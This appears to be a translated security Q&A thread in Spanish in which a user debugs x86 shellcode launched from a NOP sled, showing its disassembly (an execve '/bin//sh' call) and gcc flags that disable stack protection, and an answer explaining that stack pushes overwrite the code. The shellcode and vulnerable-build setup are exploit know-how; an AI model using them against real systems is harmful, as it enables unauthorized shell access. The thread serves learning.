Problemas al ejecutar shellcode a través de nop-sled

2

Mis instrucciones de shellcode están cambiando durante la ejecución. No estoy seguro de por qué.

Aquí es cómo se ve mi código de shell:

=> 0xbffff0b3:  nop
   0xbffff0b4:  nop
   0xbffff0b5:  xor    eax,eax
   0xbffff0b7:  push   eax
   0xbffff0b8:  push   0x68732f2f
   0xbffff0bd:  push   0x6e69622f
   0xbffff0c2:  mov    ebx,esp
   0xbffff0c4:  push   eax
   0xbffff0c5:  push   esp
   0xbffff0c6:  push   ebx
   0xbffff0c7:  mov    al,0x3b
   0xbffff0c9:  push   eax
   0xbffff0ca:  int    0x80

Paso por mi código y todo se ve bien al principio:

   0xbffff0b5: xor    eax,eax
   0xbffff0b7: push   eax
   0xbffff0b8: push   0x68732f2f
=> 0xbffff0bd: push   0x6e69622f
   0xbffff0c2: mov    ebx,esp
   0xbffff0c4: push   eax
   0xbffff0c5: push   esp
   0xbffff0c6: push   ebx

De repente, cuando llego a mov ebx, esp , las instrucciones restantes cambian:

   0xbffff0b7: push   eax
   0xbffff0b8: push   0x68732f2f
   0xbffff0bd: push   0x6e69622f
=> 0xbffff0c2: mov    ebx,esp
   0xbffff0c4: das    
   0xbffff0c5: bound  ebp,QWORD PTR [ecx+0x6e]
   0xbffff0c8: das    
   0xbffff0c9: das

Así es como compilé el programa:

gcc vuln.c -o vuln -fno-stack-protector -z execstack

¡Cualquier explicación sobre lo que está pasando aquí sería genial!

    
pregunta bjax15 01.09.2015 - 19:57
fuente

1 respuesta

3

Tu shellcode está en la pila. Supongo que su registro esp está establecido en 0xbffff0c4 . Has presionado 0x6e69622f (2F 62 69 6E), que corresponde a

2F        das
62 69 6E  bound  ebp,QWORD PTR [ecx+0x6e]

Esto empuja tus instrucciones rotas dentro de tu shellcode. Se rompe por esto. ¡No puedes presionar cuando tienes un código de shell en tu pila!

    
respondido por el Polynomial 01.09.2015 - 20:03
fuente

Lea otras preguntas en las etiquetas